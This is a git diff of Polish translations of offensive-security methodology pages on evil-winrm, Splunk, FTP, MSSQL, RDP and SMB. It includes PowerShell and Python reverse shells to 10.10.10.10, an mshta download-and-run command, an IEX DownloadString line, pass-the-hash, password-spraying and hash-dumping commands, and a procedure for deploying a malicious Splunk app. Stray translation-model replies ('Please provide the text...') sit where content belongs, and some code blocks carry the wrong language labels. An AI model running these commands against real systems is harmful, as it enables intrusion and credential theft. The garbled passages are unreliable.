evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Aby użyć evil-winrm do połączenia z **adresami IPv6**, utwórz wpis w _**/etc/hosts**_, przypisując **nazwę domeny** do adresu IPv6 i połącz się z tą domeną.
### Przekazywanie hasha za pomocą evil-winrm
### Przekaż hasz za pomocą evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```

View File

@ -4,7 +4,7 @@
## **Podstawowe informacje**
- Narzędzie do analizy logów używane do zbierania, analizy i wizualizacji danych
- Narzędzie do analizy logów używane do zbierania danych, analizy i wizualizacji
- Powszechnie używane w monitorowaniu bezpieczeństwa i analizie biznesowej
- Domyślne porty:
- Serwer WWW: 8000
@ -16,7 +16,7 @@
- Wersja próbna automatycznie przekształca się w wersję darmową po 60 dniach
- Wersja darmowa nie ma uwierzytelnienia
- Potencjalne ryzyko bezpieczeństwa, jeśli pozostawione bez nadzoru
- Potencjalne ryzyko bezpieczeństwa, jeśli pozostawiona bez nadzoru
- Administratorzy mogą przeoczyć implikacje bezpieczeństwa
2. Słabości poświadczeń
@ -31,7 +31,7 @@
- Aplikacje Django po stronie serwera
- Punkty końcowe REST
- Skrypty wejściowe
- Skrypty alarmowe
- Skrypty powiadomień
- Wsparcie dla wielu platform (Windows/Linux)
- Skrypty wejściowe mogą uruchamiać:
- Skrypty Bash
@ -65,7 +65,7 @@ splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
Plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
Krytyczny plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
- Ustawienie `disabled = 0`
- Skonfigurowanie 10-sekundowego interwału wykonania
@ -74,12 +74,12 @@ Plik konfiguracyjny `inputs.conf` włącza skrypt poprzez:
Wdrożenie jest proste:
1. Utwórz złośliwy pakiet aplikacji
2. Skonfiguruj nasłuchiwacz (Netcat/socat) na maszynie atakującej
2. Skonfiguruj nasłuchiwacz (Netcat/socat) na atakującej maszynie
3. Prześlij aplikację przez interfejs Splunk
4. Wyzwól automatyczne wykonanie skryptu po przesłaniu
Przykładowy odwrócony shell Windows PowerShell:
```powershell
Przykładowy odwrócony shell PowerShell w systemie Windows:
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
@ -103,7 +103,7 @@ s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE i eskalacja uprawnień
### RCE & Eskalacja Uprawnień
Na poniższej stronie znajdziesz wyjaśnienie, jak ta usługa może być nadużywana do eskalacji uprawnień i uzyskania trwałości:

View File

@ -7,7 +7,7 @@
### Ręczne
1. Połącz się z podatnym FTP
2. Użyj \*\*`PORT`\*\* lub **`EPRT`** (ale tylko jednego z nich), aby nawiązać połączenie z _\<IP:Port>_, który chcesz zeskanować:
2. Użyj **`PORT`** lub **`EPRT`** (ale tylko jednego z nich), aby nawiązać połączenie z _\<IP:Port>_, które chcesz zeskanować:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
@ -19,7 +19,7 @@ Przykład użycia **PORT** (port 8080 172.32.80.80 jest otwarty, a port 7777 jes
![](<../../images/image (241).png>)
Ten sam przykład używając **`EPRT`** (uwierzytelnienie pominięte na obrazie):
Ten sam przykład używając **`EPRT`** (autoryzacja pominięta na obrazku):
![](<../../images/image (539).png>)

View File

@ -6,23 +6,23 @@
Z [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** to system zarządzania **bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).
> **Microsoft SQL Server** to system zarządzania **relacyjną bazą danych** opracowany przez Microsoft. Jako serwer baz danych jest produktem oprogramowania, którego główną funkcją jest przechowywanie i pobieranie danych na żądanie innych aplikacji, które mogą działać na tym samym komputerze lub na innym komputerze w sieci (w tym w Internecie).
**Domyślny port:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Domyślne tabele systemowe MS-SQL**
### **Domyślne Tabele Systemowe MS-SQL**
- **master Database**: Ta baza danych jest kluczowa, ponieważ rejestruje wszystkie szczegóły na poziomie systemu dla instancji SQL Server.
- **msdb Database**: SQL Server Agent wykorzystuje tę bazę danych do zarządzania harmonogramem dla alertów i zadań.
- **model Database**: Działa jako szablon dla każdej nowej bazy danych na instancji SQL Server, gdzie wszelkie zmiany, takie jak rozmiar, porównanie, model odzyskiwania i inne, są odzwierciedlane w nowo utworzonych bazach danych.
- **Resource Database**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane z SQL Server. Te obiekty, chociaż fizycznie przechowywane w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
- **model Database**: Działa jako szablon dla każdej nowej bazy danych na instancji SQL Server, gdzie wszelkie zmiany, takie jak rozmiar, porządek sortowania, model odzyskiwania i inne, są odzwierciedlane w nowo utworzonych bazach danych.
- **Resource Database**: Baza danych tylko do odczytu, która zawiera obiekty systemowe dostarczane z SQL Server. Obiekty te, chociaż fizycznie przechowywane w bazie danych Resource, są logicznie prezentowane w schemacie sys każdej bazy danych.
- **tempdb Database**: Służy jako tymczasowy obszar przechowywania dla obiektów przejściowych lub pośrednich zestawów wyników.
## Enumeracja
### Automatyczna enumeracja
### Automatyczna Enumeracja
Jeśli nie wiesz nic o usłudze:
```bash
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Uważaj, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
> Jeśli **nie masz** **poświadczeń**, możesz spróbować je odgadnąć. Możesz użyć nmap lub metasploit. Bądź ostrożny, możesz **zablokować konta**, jeśli kilkakrotnie nieudanie zalogujesz się przy użyciu istniejącej nazwy użytkownika.
#### Metasploit (potrzebne poświadczenia)
```bash
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Wspólna enumeracja
#### Powszechna enumeracja
```sql
# Get version
select @@version;
@ -153,7 +153,7 @@ order by name;
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Uzyskaj uprawnienia
#### Uzyskiwanie uprawnień
1. **Securable:** Zdefiniowane jako zasoby zarządzane przez SQL Server w celu kontroli dostępu. Są one klasyfikowane na:
- **Serwer** Przykłady obejmują bazy danych, loginy, punkty końcowe, grupy dostępności i role serwera.
@ -162,7 +162,7 @@ SELECT * FROM sysusers
2. **Uprawnienie:** Powiązane z securables SQL Server, uprawnienia takie jak ALTER, CONTROL i CREATE mogą być przyznawane podmiotowi. Zarządzanie uprawnieniami odbywa się na dwóch poziomach:
- **Poziom serwera** przy użyciu loginów
- **Poziom bazy danych** przy użyciu użytkowników
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables jest realizowana poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
3. **Podmiot:** Termin ten odnosi się do podmiotu, któremu przyznano uprawnienia do securable. Podmioty obejmują głównie loginy i użytkowników bazy danych. Kontrola dostępu do securables odbywa się poprzez przyznawanie lub odmawianie uprawnień lub poprzez włączanie loginów i użytkowników do ról wyposażonych w prawa dostępu.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
```
## Sztuczki
### Wykonywanie poleceń OS
### Wykonywanie poleceń systemu operacyjnego
> [!OSTRZEŻENIE]
> Zauważ, że aby móc wykonywać polecenia, nie tylko konieczne jest, aby **`xp_cmdshell`** **było włączone**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą:
> Zauważ, że aby móc wykonywać polecenia, nie tylko konieczne jest, aby **`xp_cmdshell`** było **włączone**, ale także posiadanie **uprawnienia EXECUTE do procedury składowanej `xp_cmdshell`**. Możesz sprawdzić, kto (oprócz sysadminów) może używać **`xp_cmdshell`** za pomocą:
>
> ```sql
> Use master
@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Uzyskaj zhaszowane hasła
```bash
SELECT * FROM master.sys.syslogins;
```
### Kradzież hasha NetNTLM / Atak Relay
Powinieneś uruchomić **serwer SMB**, aby przechwycić hash używany w uwierzytelnieniu (`impacket-smbserver` lub `responder` na przykład).
@ -269,7 +273,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
Używając narzędzi takich jak **responder** lub **Inveigh**, możliwe jest **ukradzenie hasha NetNTLM**.\
Używając narzędzi takich jak **responder** lub **Inveigh**, możliwe jest **kradzież hasha NetNTLM**.\
Możesz zobaczyć, jak używać tych narzędzi w:
{{#ref}}
@ -321,7 +325,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
```
### **RCE/Odczyt plików wykonujących skrypty (Python i R)**
MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten, który używa **xp_cmdshell** do wykonywania poleceń.
MSSQL może pozwolić na wykonanie **skryptów w Pythonie i/lub R**. Ten kod będzie wykonywany przez **innego użytkownika** niż ten używający **xp_cmdshell** do wykonywania poleceń.
Przykład próby wykonania **'R'** _"Hellow World!"_ **nie działa**:
@ -343,7 +347,7 @@ GO
```
### Odczyt rejestru
Microsoft SQL Server oferuje **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
Microsoft SQL Server udostępnia **wiele rozszerzonych procedur składowanych**, które pozwalają na interakcję nie tylko z siecią, ale także z systemem plików, a nawet z [**rejestrem systemu Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Zwykłe** | **Świadome instancji** |
| --------------------------- | ------------------------------------ |
@ -368,7 +372,7 @@ EXEC sp_helprotect 'xp_regwrite';
```
Dla **więcej przykładów** sprawdź [**oryginalne źródło**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE z użyciem MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### RCE z użyciem funkcji zdefiniowanej przez użytkownika MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych funkcji**. Wymaga to jednak **dostępu `dbo`**, więc potrzebujesz połączenia z bazą danych **jako `sa` lub w roli Administratora**.
@ -376,11 +380,11 @@ Możliwe jest **załadowanie pliku .NET dll w MSSQL za pomocą niestandardowych
### RCE z `autoadmin_task_agents`
Zgodnie z [**tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, by MSSQL go wykonał za pomocą czegoś takiego:
Zgodnie [**z tym postem**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), możliwe jest również załadowanie zdalnego dll i sprawienie, by MSSQL go wykonał za pomocą czegoś takiego:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Please provide the text you would like me to translate.
I'm sorry, but it seems that you haven't provided any content to translate. Please provide the text you would like me to translate to Polish.
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -477,7 +481,7 @@ Możesz użyć modułu **metasploit**:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Lub skrypt **PS**:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
@ -505,9 +509,9 @@ enum_links
use_link [NAME]
```
> [!NOTE]
> Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub połączonych serwerów.
> Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub powiązanych serwerów.
Zauważ, że gdy jesteś sysadminem, możesz podszyć się pod każdego innego:
Zauważ, że gdy już jesteś sysadminem, możesz podszyć się pod każdego innego:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -522,7 +526,7 @@ Możesz przeprowadzić ten atak za pomocą modułu **metasploit**:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
lub za pomocą skryptu **PS**:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@ -535,15 +539,15 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
Atakujący może wyodrębnić hasła serwerów powiązanych SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co daje atakującemu hasła, które mogą być użyte do zdobycia większej kontroli nad celem. Skrypt do ekstrakcji i deszyfrowania haseł przechowywanych dla serwerów powiązanych można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
Niektóre wymagania i konfiguracje muszą być spełnione, aby ten exploit działał. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
Aby ten exploit działał, należy spełnić pewne wymagania i skonfigurować kilka rzeczy. Przede wszystkim musisz mieć prawa administratora na maszynie lub możliwość zarządzania konfiguracjami SQL Server.
Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, które są następujące:
Po zweryfikowaniu swoich uprawnień musisz skonfigurować trzy rzeczy, które są następujące:
1. Włączyć TCP/IP na instancjach SQL Server;
2. Dodać parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który to -T7806.
2. Dodać parametr uruchamiania, w tym przypadku zostanie dodany znacznik śledzenia, który wynosi -T7806.
3. Włączyć zdalne połączenie administracyjne.
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium ma również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
Aby zautomatyzować te konfiguracje, [to repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty. Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne oraz ekstrakcję i deszyfrowanie haseł.
Aby uzyskać więcej informacji, zapoznaj się z następującymi linkami dotyczącymi tego ataku: [Deszyfrowanie haseł serwera powiązanego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
@ -566,7 +570,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
- `port:1433 !HTTP`
## Odniesienia
## Odnośniki
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -578,7 +582,7 @@ Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## Automatyczne komendy HackTricks
## Automatyczne polecenia HackTricks
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -5,7 +5,7 @@
## Podstawowe informacje
Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) ma na celu umożliwienie połączenia z interfejsem graficznym między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja pozwala na bezproblemowe sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
Opracowany przez Microsoft, **Remote Desktop Protocol** (**RDP**) ma na celu umożliwienie połączenia z graficznym interfejsem między komputerami w sieci. Aby nawiązać takie połączenie, użytkownik korzysta z oprogramowania klienckiego **RDP**, a jednocześnie zdalny komputer musi działać na oprogramowaniu serwera **RDP**. Ta konfiguracja pozwala na bezproblemowe sterowanie i dostęp do środowiska pulpitu zdalnego komputera, zasadniczo przenosząc jego interfejs na lokalne urządzenie użytkownika.
**Domyślny port:** 3389
```
@ -22,11 +22,11 @@ Sprawdza dostępne szyfrowanie i podatność na DoS (bez powodowania DoS dla us
### [Brute force](../generic-hacking/brute-force.md#rdp)
**Uważaj, możesz zablokować konta**
**Bądź ostrożny, możesz zablokować konta**
### **Password Spraying**
**Uważaj, możesz zablokować konta**
**Bądź ostrożny, możesz zablokować konta**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
@ -62,7 +62,7 @@ tscon <ID> /dest:<SESSIONNAME>
```
Teraz będziesz wewnątrz wybranej sesji RDP i będziesz musiał podszyć się pod użytkownika, używając tylko narzędzi i funkcji systemu Windows.
**Ważne**: Kiedy uzyskasz dostęp do aktywnych sesji RDP, wylogujesz użytkownika, który z niej korzystał.
**Ważne**: Gdy uzyskasz dostęp do aktywnych sesji RDP, wylogujesz użytkownika, który z niej korzystał.
Możesz uzyskać hasła z procesu, zrzucając je, ale ta metoda jest znacznie szybsza i pozwala na interakcję z wirtualnymi pulpitami użytkownika (hasła w notatniku bez zapisywania na dysku, inne sesje RDP otwarte na innych maszynach...)
@ -81,7 +81,7 @@ Możesz wyszukiwać RDP, które zostały zainfekowane jedną z tych technik, kor
### RDP Process Injection
Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, gdzie **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on:
Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez RDP** do komputera, na którym **jesteś administratorem**, możesz **wstrzyknąć** swój beacon do jego **procesu sesji RDP** i działać jako on:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -91,11 +91,11 @@ Jeśli ktoś z innej domeny lub z **lepszymi uprawnieniami zaloguje się przez R
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Narzędzia automatyczne
## Automatyczne Narzędzia
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach z systemem Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu **widzieć pulpit swojej ofiary bez jej zgody**, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
**AutoRDPwn** to framework do post-exploatacji stworzony w Powershell, zaprojektowany głównie w celu automatyzacji ataku **Shadow** na komputerach Microsoft Windows. Ta luka (wymieniona jako funkcja przez Microsoft) pozwala zdalnemu atakującemu **widzieć pulpit swojej ofiary bez jej zgody**, a nawet kontrolować go na żądanie, używając narzędzi natywnych dla samego systemu operacyjnego.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Kontroluj mysz i klawiaturę w zautomatyzowany sposób z linii poleceń
@ -104,7 +104,11 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- Wykonuj dowolne polecenia SHELL i PowerShell na celu bez przesyłania plików
- Przesyłaj i pobieraj pliki do/z celu, nawet gdy transfer plików jest wyłączony na celu
## Automatyczne polecenia HackTricks
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
To narzędzie pozwala na wykonywanie poleceń w RDP ofiary **bez potrzeby interfejsu graficznego**.
## HackTricks Automatyczne Polecenia
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.

View File

@ -4,7 +4,7 @@
## **Port 139**
_**System Podstawowego Wejścia/Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom i stacjom roboczym w lokalnej sieci (LAN) interakcji z urządzeniami sieciowymi oraz **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
_**System Podstawowego Wejścia-Wyjścia Sieci**_** (NetBIOS)** to protokół oprogramowania zaprojektowany w celu umożliwienia aplikacjom, komputerom PC i stacjom roboczym w lokalnej sieci (LAN) interakcji z sprzętem sieciowym i **ułatwienia transmisji danych w sieci**. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS odbywa się za pomocą ich nazw NetBIOS, które mogą mieć do 16 znaków długości i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołania" innej aplikacji (działającej jako serwer) przy użyciu **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -20,7 +20,7 @@ Na przykład, w kontekście systemu Windows, podkreśla się, że SMB może dzia
Protokół **Server Message Block (SMB)**, działający w modelu **klient-serwer**, jest zaprojektowany do regulowania **dostępu do plików**, katalogów i innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych **Windows**, SMB zapewnia zgodność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi działającymi na starszych wersjach. Dodatkowo, projekt **Samba** oferuje rozwiązanie typu open source, umożliwiające implementację SMB na systemach **Linux** i Unix, co ułatwia komunikację międzyplatformową za pomocą SMB.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą być widoczne dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
Udostępniane przez serwer SMB udziały, reprezentujące **dowolne części lokalnego systemu plików**, mogą sprawić, że hierarchia będzie widoczna dla klienta częściowo **niezależnie** od rzeczywistej struktury serwera. **Listy Kontroli Dostępu (ACL)**, które definiują **prawa dostępu**, pozwalają na **dokładną kontrolę** nad uprawnieniami użytkowników, w tym atrybutami takimi jak **`wykonaj`**, **`odczytaj`** i **`pełny dostęp`**. Te uprawnienia mogą być przypisywane poszczególnym użytkownikom lub grupom, w zależności od udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.
### IPC$ Share
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
Aby szukać możliwych exploitów dla wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, możesz:
- Użyć modułu pomocniczego **MSF** \_**auxiliary/scanner/smb/smb_version**
- Użyć modułu pomocniczego **MSF** _**auxiliary/scanner/smb/smb_version**_
- Lub tego skryptu:
```bash
#!/bin/sh
@ -82,7 +82,7 @@ searchsploit microsoft smb
### **Możliwe** Poświadczenia
| **Nazwa użytkownika** | **Typowe hasła** |
| --------------------- | ----------------------------------------- |
| ---------------------- | ----------------------------------------- |
| _(puste)_ | _(puste)_ |
| gość | _(puste)_ |
| Administrator, admin | _(puste)_, hasło, administrator, admin |
@ -93,7 +93,7 @@ searchsploit microsoft smb
### Atak Brute Force
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
- [**Atak Brute Force SMB**](../generic-methodologies-and-resources/brute-force.md#smb)
### Informacje o Środowisku SMB
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### Lista folderów udostępnionych
Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **credentials/guest user**.
Zawsze zaleca się sprawdzenie, czy możesz uzyskać dostęp do czegokolwiek, jeśli nie masz poświadczeń, spróbuj użyć **null** **poświadczeń/użytkownika gościa**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,9 +197,9 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Ręczne enumerowanie udziałów systemu Windows i łączenie się z nimi**
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta, a gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do których można się połączyć. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Możliwe, że masz ograniczenia w wyświetlaniu jakichkolwiek udziałów maszyny hosta i gdy próbujesz je wylistować, wydaje się, że nie ma żadnych udziałów do połączenia. Dlatego warto spróbować ręcznie połączyć się z udziałem. Aby ręcznie enumerować udziały, warto zwrócić uwagę na odpowiedzi takie jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, podczas korzystania z ważnej sesji (np. sesji null lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.
Typowe nazwy udziałów dla celów systemu Windows to
Typowe nazwy udziałów dla celów Windows to
- C$
- D$
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
### **Enumeruj udostępnienia z Windows / bez narzędzi firm trzecich**
PowerShell
```powershell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
@ -300,7 +300,7 @@ Polecenia:
### Wyszukiwanie folderów udostępnionych w domenie
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@ -312,8 +312,12 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
```
Szczególnie interesujące z udziałów są pliki nazwane **`Registry.xml`**, ponieważ **mogą zawierać hasła** dla użytkowników skonfigurowanych z **autologowaniem** za pomocą zasad grupy. Lub pliki **`web.config`**, ponieważ zawierają dane uwierzytelniające.
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
